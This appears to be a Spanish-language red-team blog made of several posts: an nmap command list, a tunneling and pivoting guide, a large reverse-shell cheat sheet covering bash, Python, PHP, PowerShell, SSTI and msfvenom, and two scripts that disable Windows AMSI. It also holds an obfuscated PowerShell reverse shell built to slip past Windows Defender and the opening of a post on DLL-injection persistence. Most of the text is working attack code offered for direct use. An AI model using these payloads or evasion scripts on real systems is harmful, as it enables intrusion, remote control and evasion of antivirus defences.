Omar Salazar

Nmap Lista de Comandos

Omar Salazar — Sat, 28 Mar 2026 00:00:00 GMT

Nmap (Network Mapper) simplemente es un escáner de red basado en (software libre) y de código abierto, el cual se utiliza para escanear redes así como durante una de las fases de Pentesting puntualmente en la fase de reconocimiento, el cual permite al Tester descubrir hosts y servicios de una red, enviando paquetes para posteriormente analizar sus respuestas.

Veremos unos cuantos comandos de Nmap, pasando de básicos pasivos a los que se usan comúnmente durante un reconocimiento pasarás de (Bot to Hero).

Escaneo de un host

nmap www.tusitio.com

Escaneo para detectar el OS y servicios

nmap -A 127.0.0.1

Simple / Escaneo de una ip

nmap 127.0.0.1

Escaneo de una sub-red

nmap 127.0.0.1/24

Escaneo de servicios estándar

nmap -sV 127.0.0.1

Escaneo de un rango de direcciones

nmap 127.0.0.1-20

Escaneo de un solo puerto

nmap -p 22 127.0.0.1

Escaneo de un rango de puertos

nmap -p 1-100 127.0.0.1

Escaneo de múltiples ips / guardados en un archivo de texto

nmap -iL lista-de-ips.txt

Escaneo de todos los puertos total (65535)

nmap -p- 127.0.0.1

Escaneo de los 100 puertos más comunes

nmap -F 127.0.0.1

Escaneo usando el TCP SYN (por default)

nmap -sS 127.0.0.1

Escaneo usando una conexión TCP

nmap -sT 127.0.0.1

Escaneo de puertos UDP

nmap -sU -p 123,161,162 127.0.0.1

Escaneo de puertos mas comunes e ignorar el descubrimiento DNS

nmap -Pn -F 127.0.0.1

Escaneo y detección del banner

nmap -sV --version-duration 0 127.0.0.1

Escaneo y detección del banner más agresiva

nmap -sV --version-Intensity 5 127.0.0.1
    ```

- **Exportar los resultados en un archivo predeterminado**

```bash title="bash"
nmap -oN escaneo.txt 127.0.0.1

Exportar los resultados en un archivo xml

nmap -oX escaneo.xml 127.0.0.1

Exportar los resultados en un archivo grepeable

nmap -oG escaneo.txt 127.0.0.1

Exportar los resultados en todos los formatos

nmap -oA escaneo 127.0.0.1

Escanear usando los scripts predeterminados

nmap -sV -sC 127.0.0.1 /

Escanear con un conjunto de scripts

nmap -sV --script=smb* 127.0.0.1

Escanear usando un script específico

nmap -sV --script=http-shellshock 127.0.0.1

Escaneo de aplicaciones web en rutas conocidas

nmap --script=http-enum 127.0.0.1/24

Detección de los encabezados HTTP en todos los servicios web

nmap --script=http-headers 127.0.0.1/24

Obtener la mayor información sobre la dirección IP

nmap --script=asn-query,whois,ipgeolocation-maxmind 127.0.0.1/24

Mis Comandos Nmap

Aunque prácticamente con la lista de comandos previamente publicados se podría realizar una lista muy extensa de combinaciones, al momento que requieras realizar un reconocimiento de host y puertos, logrando convertirte en un (samurai) del reconocimiento. Te dejo una lista de los comandos que más suelo usar.

nmap -sC -sV -O -T4 -n -Pn -vvv -oN  resultados 127.0.0.1
nmap -sC -sV -O -T4 -n -Pn -p- -vvv -oN resultados 127.0.0.1
nmap --min-rate 10000 -p- -vvv -oN resultados 127.0.0.1
nmap -sT --min-rate 10000 -p- -vvv -oN  resultados 127.0.0.1
nmap -sC -sV -vvv -oN resultados 127.0.0.1

Tunneling el arte de encapsular la red

Omar Salazar — Sun, 29 Mar 2026 00:00:00 GMT

El tunneling encapsula un protocolo de red dentro de otro para crear un "túnel" que atraviesa redes y firewalls, permitiendo en operaciones de red team evadir detección y controles de seguridad, establecer canales encubiertos de comando y control, exfiltrar datos sigilosamente y acceder a sistemas y redes internas de manera discreta.

Esto permite que durante el proceso se puedan aplicar técnicas de pivoting o reenvío de puertos para utilizar un host pivote dentro de la red interna, como una máquina de lanzadera y permitir conectarse con otras redes no enrutadas como dispositivos críticos y otros del directorio activo, incluyendo el controlador AD y todo el perímetro.

Contextualizando, el tunneling y las técnicas de pivoting llegan hacer una de las técnicas cruciales al momento de realizar las pruebas por parte del equipo de Red Team, lo que permite evaluar la resistencia y fortaleza de las infraestructuras de red.

Contexto del tunneling en el Red Team

El <b>simulador de adversario</b> tiene que ser capaz de superar los límites de la red, para de esta forma tratar de acceder a información y recursos confidenciales en entornos altamente protegidos, durante la evaluación por lo general se toquetea primero es el servidor web y el objetivo es abrirse camino usando las técnicas de tunneling.

Técnicas para realizar un buen tunneling

Aunque existen una gran variedad de técnicas para realizarlo, podemos centrarnos en algunas de las que en mi punto de vista son las mejores y las que uso de manera habitual cuando tengo que proceder con algún proceso. Básicamente tocaremos ciertos protocolos o apoyándonos en algunas de las herramientas que en mi opinión van mejor que otras, aunque entre gustos y colores cada quien.

Socat Tunneling

Podríamos crear un túnel TCP entre un puerto local (xxxx) y un puerto remoto 80 en la dirección IP x.x.x.x utilizando la herramienta de red «socat». La técnica crea un túnel TCP que reenvía todas las conexiones entrantes en el puerto local (xxxx) al puerto remoto 80 en la dirección IP x.x.x.x. Este tipo de túnel se puede utilizar para lograr enrutar el tráfico de red a través de una conexión cifrada o para saltar restricciones de firewall o de red, entre otros usos.

socat TCP-LISTEN:1234,fork TCP:2.2.2.2:80

«TCP-LISTEN:1234«: Indica que socat debe escuchar en el puerto 1234 para nuevas conexiones entrantes.
«fork«: Confirmar que el socat debe manejar las conexiones entrantes en un proceso separado.
«TCP:2.2.2.2:80«: Esta opción indica que socat debe conectarse al puerto 80 en la dirección IP 2.2.2.2.

Reverse SSL Tunneling

Crear un túnel SSL inverso que permita redirigir el tráfico desde un puerto remoto en un servidor a un puerto local en tu máquina, lo que establece una conexión SSL/TLS con un servidor remoto y poder lograr que todo el tráfico vaya desde el servidor al puerto local 80 de tu máquina a través de un tunel de «openssl s_client» a «nc» así como a su vez, monitorear el tráfico de red entrante en el puerto local 80 para fines de depuración o análisis.

openssl s_client -connect remote-server:1234 -servername x.x.x.x -quiet | nc -l -p 80 > logfile.log

openssl s_client -connect remote-server:1234 -servername example.com -quiet: Esta parte del comando establece una conexión SSL con el servidor remoto y redirige el tráfico entrante al puerto local 80.
| nc -l -p 80 > logfile.log: Aquí confirmamos que el tráfico entrante se redirige del puerto local 80 a un archivo de registro llamado «logfile.log», en cuanto al archivo puedes cambiar el nombre del archivo y el directorio según sea necesario.

Dynamic SSH tunneling

Con esta técnica se puede crear un túnel SSH dinámico que permite al red team enrutar todo el tráfico de red a través de una conexión SSH segura, usando el método de Dynamic SSH tunneling todo el tráfico de red viajara través de la conexión SSH cifrada hacia el servidor remoto, lo que proporciona una capa adicional de seguridad en redes «inseguras o públicas».

Aunque el objetivo principal es el permitir acceder a contenido restringido geográficamente, ya que la característica de esta conexión es simular parece estar originada en el servidor remoto en lugar de en la ubicación actual. Con el envió dinámico de puertos, se lograría abrir un puerto local en la máquina pivote, el protocolo SSH escuchará en este puerto y se comportará como un servidor proxy SOCKS (SOCKS4 o SOCKS5).

ssh user@ssh_server -D 127.0.0.1:1337 -N

ssh user@ssh_server: Aquí establecemos la conexión SSH al servidor remoto Ej:»192.168.2.105″ con el nombre de usuario.
D 127.0.0.1:1337: Con esta opción iniciamos un túnel dinámico SSH y especificamos el puerto local «1337» donde se va a escuchar para las conexiones SOCKS entrantes puedes usar cualquier puerto disponible.
N: Comunicamos al protocolo SSH que no ejecute un comando remoto después de la autenticación, es decir no abra una sesión de shell remota. (Ya que el objetivo es enviar todas solicitudes a todas las redes accesibles desde la máquina pivote a través del proxy usando CURL)

curl --head [http://10.10.10.10](http://10.10.10.10/) --proxy socks5://127.0.0.1:1337
HTTP/1.1 302 Found
Date: Sat, 05 Nov 2022 12:30:45 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c PHP/8.1
X-Powered-By: PHP/8.1
Location: http://10.10.10.10/panel/
Content-Type: text/html; charset=UTF-8

Proxychains Tunneling

Proxychains es una de mis herramienta favoritas durante alguna las operaciones de simulación de adversario, esta permite que el tráfico de red pase a través de uno o más servidores bajo proxy SOCKS. Esta es una herramienta muy útil cuando no puede pasar a través de un proxy de forma nativa, en pocas palabras puede hacer que una aplicación se comunique a través de una cadena de servidores proxy en lugar de conectarse directamente a un servidor.

Esta herramienta admite varios tipos de servidores proxy, incluyendo proxies HTTP, SOCKS4 y SOCKS5 asi como establecer autenticación de usuario y encriptación de tráfico lo que permite proteger la privacidad y la seguridad de nuestra conexión. La utilidad principal de Proxychains es cuando se necesita acceder a un servidor remoto a través de un proxy para evitar restricciones de red.

1.) Instalar la herramienta proxychains en tu sistema operativo. Puedes hacerlo mediante comandos:

sudo apt install proxychains (debian)
sudo pacman syu proxychains (arch)
sudo emerge -a proxychains (gentoo)
sudo yum install proxychains (fedora)

2.) Procedemos a editar el archivo de configuración de proxychains en la ruta => /etc/proxychains.conf agregamos la lista de proxy(s) SOCKS a través de los cuales nos queremos conectar.

[ProxyList]
socks4  127.0.0.1 1337

3.) Procedemos hacer tunneling con proxychains, simplemente agrega «proxychains» antes del comando que deseas ejecutar, esto conectará a través de SSH al servidor ssh_server y establecerá un túnel SOCKS en el puerto 1337.

proxychains ssh user@ssh_server -D 127.0.0.1:1337 -N

4.) Vía CURL a través del túnel SOCKS establecido, por lo que la conexión al sitio web se realizará a través del servidor SSH. tenemos que asegurarnos que el servicio del proxy esté ejecutándose antes de hacer el tunneling.

proxychains curl --head http://10.10.10.10

Chisel HTTP Tunneling

Si hablamos de Chisel, posiblemente podemos afirmar que es una de las herramientas mas poderosas en el campo del tunneling, esta encapsulará una sesión TCP en un túnel HTTP , la comunicación está totalmente encriptada a través de SSH, y admite autenticación mutua, reconexión automática y tiene su servidor proxy SOCKS 5 privado. Para ser mas concretos con Chisel se puede hacer todo lo que otras herramientas hacen u otros métodos de protocolos ofrecen.

1.) Máquina de pivote

chisel server -p 8080 --host 192.168.100.105 -v

p 8080: indica que el servidor proxy se ejecutará en el puerto 8080.
–host 192.168.2.105: Espeficar la dirección IP del host en el que se ejecutará el servidor proxy. En este caso, el servidor proxy se ejecutará en el host con la dirección IP 192.168.100.105.
«-v»: Una opción para exponer el «verbose» o «verboso», lo que significa que se imprimirán mensajes detallados en la consola para informar sobre el estado de la ejecución del comando.

2.) Máquina del operador:

chisel client -v http://192.168.100.105:8080 127.0.0.1:33333:10.10.10.20:80

Iniciará un cliente que se conectará a un servidor proxy en la dirección IP 192.168.2.105 en el puerto 8080, y establecerá un túnel entre el puerto local 33333 en el cliente y el puerto 80 en el host remoto 10.10.10.20 a través del servidor proxy. Además, se imprimirán mensajes detallados en la consola por el comando (-v) lo que permite observar el estado de la ejecución del comando.

3.) Verificación y estado de los encabezados

curl --head http://127.0.0.1:33333

Enviamos la solicitud HTTP que se realiza a la dirección IP local del cliente en el puerto 33333 utilizando el protocolo HTTP. La respuesta que se obtendremos será solo los encabezados de la respuesta HTTP del servidor que esté escuchando en el puerto 80 del host remoto especificado anteriormente.

reGeorg Tunneling

Esta herramienta funciona mediante una webShell para crear un proxy SOCKS local. Esta característica resulta particularmente útil cuando, se encuentra en una situación desafiante donde toda la comunicación TCP, los servicios de enlace y el tráfico saliente se encuentran bloqueados.

En lugar de reenviar el puerto local, la herramienta establece un proxy SOCKS local para comunicarse con la webShell. Aunque muchas herramientas nuevas usan este proceso de implementación en varios escenarios donde se requiere la utilización de un webshell en la máquina comprometida para establecer la conexión desde la máquina del operador.

Como toda maniobra de webShell primero hay que cargar el archivo de túnel (aspx|ashx|jsp|php) en el servidor web de destino puedes usar la extensión que se acorde al escenario que se tenga en frente.

python reGeorgSocksProxy.py -p 8080 -u http://server:8080/tunnel.jsp

Descargar reGeorg: Aqui

Herramientas y mas herramientas

Aunque existen cientos de herramientas para tunneling-pitvoting, las que te presento en el articulo posiblemente sean las mas usadas, cabe recalcar que cada uno maneja sus técnicas y sus comandos oneliner, en varios repositorios de GitHub puedes encontrar cientos de herramientas, en cuanto al uso que se le y como se lo ponga en practica ya es cuestión de cada uno pues las posibilidades son infinitas.

Reverse Shell Cheat Sheet

Omar Salazar — Mon, 30 Mar 2026 00:00:00 GMT

Una reverse shell es una técnica ampliamente utilizada pruebas de pentesting, que permite a un atacante tomar el control de un sistema comprometido y acceder a él de forma remota. Básicamente, una vez que el atacante ha logrado acceder al sistema, establece una conexión de red inversa entre el sistema comprometido y su propia máquina, lo que le permite ejecutar comandos de manera remota y controlar el sistema.

Contexto

En estas notas personales, he recopilado posiblemente las mejores formas de obtener una Reverse Shell según mi experiencia. Algunas de ellas son experimentos propios que han funcionado, y también he recopilado algunas otras formas de obtener una conexión reversa. Esta lista práctica podría ser una de las mejores guías sobre cómo establecer una Reverse Shell.

Bash

bash -i >& /dev/tcp/10.10.10.10/443 0>&1

bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"

0<&196;exec 196<>/dev/tcp/10.10.10.10/443; sh <&196 >&196 2>&196

bash -l > /dev/tcp/10.10.10.10/443 0<&1 2>&1

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F443%200%3E%261%22

bash -i > /dev/tcp/10.10.10.10/443 0<&1 2>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

export RHOST="10.10.10.10";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Php

<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f"); ?>

php -r '$sock=fsockopen("10.10.10.10",443);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$sock=fsockopen("10.10.10.10",443);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.10.10.10",443);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.10.10.10",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.10.10.10",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

NetCat

ncat 10.10.10.10 443 -e /bin/bash

nc -c /bin/sh 10.10.10.10 443

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f

nc.exe -e cmd 10.10.10.106 443

nc -e /bin/sh 10.10.10.10 443

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.10.10%20443%20%3E%2Ftmp%2Ff

Node

require('child_process').exec('bash -i >& /dev/tcp/10.10.10.10/443 0>&1');

<audio src*=x* onerror="const exec= require('child_process').exec;exec('nc -e 3 192.168.111.129 1337 < /bin/bash', (e, stdout, stderr)=> { if (e instanceof Error) {console.error(e); throw e; } console.log('stdout ', stdout);console.log('stderr ', stderr);});alert('1')">

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.10.10 443 0/tmp/p

telnet 10.10.10.10 80 | /bin/bash | telnet 10.10.10.10 443

Java

r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.10/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()

PowerShell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8000/reverse.ps1')

Xterm

xterm -display 10.10.10.10:443

Perl

perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Server Side Template Injection

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.10.10\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

UnrealIRCd

echo "AB;nc -e /bin/sh 10.10.10.10 443" |nc 192.168.1.3 6667

Any Plugin Php

<?php

/**
* Plugin Name: Shelly
* Plugin URI: http://localhost
* Description: Love Shelly
* Version: 1.0
* Author: d4t4s3c
* Author URI: https://github.com/d4t4s3c
*/

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/443 0>&1'");
?>

October

function onstart(){    exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/443 0>&1'");}

Jenkins

String host="10.10.10.10";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.10.10:443");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Awk

awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.10","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Msfvenom

Php Payloads

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f raw > reverse.php

msfvenom -p php/reverse_php LHOST=10.10.10.10 LPORT=443 -f raw > reverse.php

Jar Payload

msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f jar > reverse.Jar

Jsp Payload

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f raw > reverse.jsp

War

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f war > reverse.war

ASPX Payload

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f aspx -o reverse.aspx

Linux Payloads

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf > reverse.elf

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf > reverse.elfmsfvenom -p linux/x86/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf > reverse.elf\

Windows Payloads

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe > reverse.exemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe > reverse.exe

msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe > reverse.exe

Bypass AMSI PInvoke

Omar Salazar — Tue, 31 Mar 2026 00:00:00 GMT

Este script en PowerShell utiliza P/Invoke (Platform Invocation Services), que es un mecanismo para interactuar con funciones nativas de la API de Windows desde código administrado en .NET para interactuar con la biblioteca kernel32.dll de Windows. Define una clase PInvoke con métodos para cargar una biblioteca LoadLibrary, obtener la dirección de una función GetProcAddress y cambiar los permisos de memoria VirtualProtect.

Luego, decodifica los nombres de la biblioteca amsi.dll y la función AmsiScanBuffer, los carga en memoria y cambia sus permisos de memoria. Finalmente, parchea la función AmsiScanBuffer en tiempo de ejecución con un nuevo código de máquina.

# Author: Omar Salazar
$PInvokeDeclarations = @"
using System;
using System.Runtime.InteropServices;
public class PInvoke {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $PInvokeDeclarations

$amsiDll = [System.Net.WebUtility]::HtmlDecode('&#97;&#109;&#115;&#105;&#46;&#100;&#108;&#108;')
$amsiScanBuffer = [System.Net.WebUtility]::HtmlDecode('&#65;&#109;&#115;&#105;&#83;&#99;&#97;&#110;&#66;&#117;&#102;&#102;&#101;&#114;')

$amsiDllHandle = [PInvoke]::LoadLibrary($amsiDll)
$amsiScanBufferPtr = [PInvoke]::GetProcAddress($amsiDllHandle, $amsiScanBuffer)

$oldProtect = 0
[PInvoke]::VirtualProtect($amsiScanBufferPtr, [uint32]5, 0x40, [ref]$oldProtect)

$patchBytes = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patchBytes, 0, $amsiScanBufferPtr, 6)

Bypass AMSI Obfuscation

Omar Salazar — Wed, 01 Apr 2026 00:00:00 GMT

El script de PowerShell intenta deshabilitar el Servicio Interfaz de examen antimalware (AMSI) de Microsoft, una característica de seguridad de Windows que permite a las aplicaciones antivirus escanear scripts de PowerShell en busca de comportamientos maliciosos.

Primero, la función Is-AMSIDisabled verifica si AMSI está deshabilitado, utilizando Get-variable para obtener una variable específica y comprobando si el campo 'amsi' es verdadero.

Luego, el bloque try intenta deshabilitar AMSI estableciendo el campo 'amsi' en verdadero. Si tiene éxito, imprime "AMSI Successfully Disabled". Si AMSI ya está deshabilitado, imprime "AMSI". Si hay un error, captura la excepción con catch e imprime "Error Disabling AMSI: $", donde $ es la excepción capturada.

# Author: Omar Salazar
# Verify if AMSI is disabled
function Is-AMSIDisabled {
    return ((Get-variable (('1Q'+'2U') +'zX'))."A`ss`Embly"."GET`TY`Pe"(('Uti'+'l','A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em'))).g`etf`iElD"(('a'+'msi'),'d',('I'+'nitF'+'aile'))).GetValue($null) -eq $true
}

# AMSI Bypass
try {
    Set-Item ('Va'+'rI'+'a'+'blE:1'+'q2'+'uZx') ([TYpE]("F"+'rE')) 
    (Get-variable (('1Q'+'2U') +'zX'))."A`ss`Embly"."GET`TY`Pe"(('Uti'+'l','A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em'))).g`etf`iElD"(('a'+'msi'),'d',('I'+'nitF'+'aile'))).(sE`T`VaLUE)(${n`ULl},${t`RuE})

    if (Is-AMSIDisabled) {
        Write-Output "AMSI"
    } else {
        Write-Output "AMSI Successfully Disabled"
    }
} catch {
    Write-Output "Error Disabling AMSI: $_"
}

Reverse Shell Bypass Windows PowerShell

Omar Salazar — Thu, 02 Apr 2026 00:00:00 GMT

Este script de PowerShell es un cliente de shell inverso, permite eludir de manera efectiva la seguridad de Windows Defender. El script recibe datos del servidor remoto a través de una conexión TCP. Estos datos se leen en un búfer, que es simplemente un bloque de memoria reservado para almacenar los datos temporales. En este caso, el búfer es un array de bytes con una longitud de 1024. Dentro del bucle de lectura, el script lee los datos del búfer y los decodifica utilizando la codificación ASCII.

POC

Video POC ClickMe.

Funciones

Conexión TCP: El script intenta establecer una conexión TCP con un servidor remoto.
Ejecución de comandos: Los comandos enviados por el servidor remoto se ejecutan en la máquina local.
Envío de la salida del comando: La salida de los comandos ejecutados se envía de vuelta al servidor remoto.
Reconexión automática: Si la conexión se cierra por cualquier motivo, el script intentará reconectar después de un intervalo de tiempo especificado.

Bypass Logico

El script utiliza varias técnicas para eludir Windows Defender sin necesidad de third party tools.

Alias de cmdlets: Se utilizan alias para los cmdlets de PowerShell para hacer que el código sea menos reconocible.
Codificación de cadenas: Las cadenas en el código están codificadas para evitar la detección por parte de las soluciones de seguridad basadas en firmas.
Reintentos de conexión silenciosos: Si la conexión se cierra, el script intentará reconectar silenciosamente.

# Author: Omar Salazar
# Define constants
$ip = "192.168.1.1" 
$port = 4444
$retryInterval = 10  
$maxRetries = 5  

# Create aliases for cmdlets
Set-Alias -Name "n" -Value "New-Object"
Set-Alias -Name "s" -Value "Start-Sleep"
Set-Alias -Name "g" -Value "Get-Location"

# Main loop
do {
    # Create TCP client
    $c = n S`ySt`em.N`eT.`s`ock`eTs.TC`PC`li`eNt($ip, $port)
    $s = $c.GetStream()

    # Buffer for incoming data
    $b = n Byt`e[] 1024
    $d = ""

    # Read loop
    while (($x = $s.Read($b, 0, $b.Length)) -ne 0) {
        # Decode and execute command
        $e = (n -TypeName System.Text.ASCIIEncoding).GetString($b,0, $x)
        $f = (iex $e 2>&1 | Out-String)

        # Prepare and send response
        $g = $f + (g).Path + '> '
        $h = ([text.encoding]::ASCII).GetBytes($g)
        $s.Write($h,0,$h.Length)
        $s.Flush()
    }

    # Close connection and wait before trying again
    $c.Close()
    s -Seconds $retryInterval
    $maxRetries--
} while ($maxRetries -gt 0)

Descripción

Aquí, n -TypeName System.Text.ASCIIEncoding crea un nuevo objeto de tipo System.Text.ASCIIEncoding, que es una clase en .NET que proporciona métodos para codificar y decodificar texto en ASCII. Luego, el método GetString de este objeto se utiliza para decodificar los bytes en el búfer en una cadena de texto.

Una vez que los datos se han decodificado en una cadena de texto, se ejecutan como un comando de PowerShell con iex $e 2>&1 | Out-String. iex es un alias para Invoke-Expression, que ejecuta una cadena de texto como un comando de PowerShell. 2>&1 redirige los errores a la salida estándar, y Out-String convierte la salida en una cadena de texto.

Establecer presencia via Inyección en DLLs #1

Omar Salazar — Fri, 03 Apr 2026 00:00:00 GMT

Cuando hablamos de establecer presencia se refiere a la fase en la que los miembros del Red Team aseguran un acceso persistente a los sistemas y redes comprometidos. Esta etapa es crucial para garantizar que el equipo pueda mantener su acceso incluso si se reinician los sistemas, se aplican parches o se toman medidas de seguridad adicionales. Establecer presencia implica varias actividades, entre las cuales pueden inluciur:

Instalación de Backdoors y RATs (Remote Access Trojans): Los simuladores pueden instalar backdoors o troyanos de acceso remoto que les permitan conectarse a los sistemas comprometidos en cualquier momento. Estos backdoors están diseñados para evadir la detección y persistir a través de reinicios y actualizaciones del sistema.
Modificación de Servicios y Tareas Programadas: Los miembros del Red Team pueden modificar servicios existentes o crear nuevas tareas programadas que ejecuten código malicioso de forma periódica, asegurando así que el acceso se restaure automáticamente si se pierde.
Alteración de Configuraciones de Seguridad: Pueden realizar cambios en las configuraciones de seguridad del sistema, como deshabilitar antivirus, modificar firewalls o alterar políticas de contraseñas, para reducir las posibilidades de detección y eliminación.
Uso de Técnicas de Persistence en el Registro y el Sistema de Archivos: Los atacantes pueden agregar claves al registro de Windows o archivos en ubicaciones específicas que garanticen la ejecución de su código malicioso durante el inicio del sistema o cuando se ejecutan ciertas aplicaciones.
Establecimiento de Canales de Comunicación Encubiertos: Para mantener una comunicación constante con los sistemas comprometidos, el Red Team puede establecer canales de comunicación encubiertos utilizando técnicas como tunelización de tráfico a través de protocolos legítimos (HTTP, HTTPS) o la creación de dominios de comando y control (C2) difíciles de detectar.
Uso de Credenciales Robadas: Aprovechan credenciales robadas para crear nuevas cuentas de usuario con permisos administrativos o modificar cuentas existentes, proporcionando una forma adicional de acceso que es menos probable que sea detectada.
Inyector de DLLs: Los miembros del Red Team pueden modificar o colocar una DLL maliciosa en un directorio donde una aplicación vulnerable la cargará en lugar de la DLL legítima.

En este caso hablaremos del punto 7 la modificación o inyección en DLLs (Dynamic-Link Libraries). Esta técnica se utiliza para insertar código malicioso en procesos legítimos del sistema, permitiendo así la persistencia y la ejecución del código malicioso de manera encubierta, haciendo que la actividad maliciosa sea más difícil de detectar.

Métodos Comunes de Inyección en DLLs

Inyección de DLL Básica: Involucra el uso de funciones de la API de Windows como CreateRemoteThread y LoadLibrary para inyectar la DLL en el proceso objetivo.
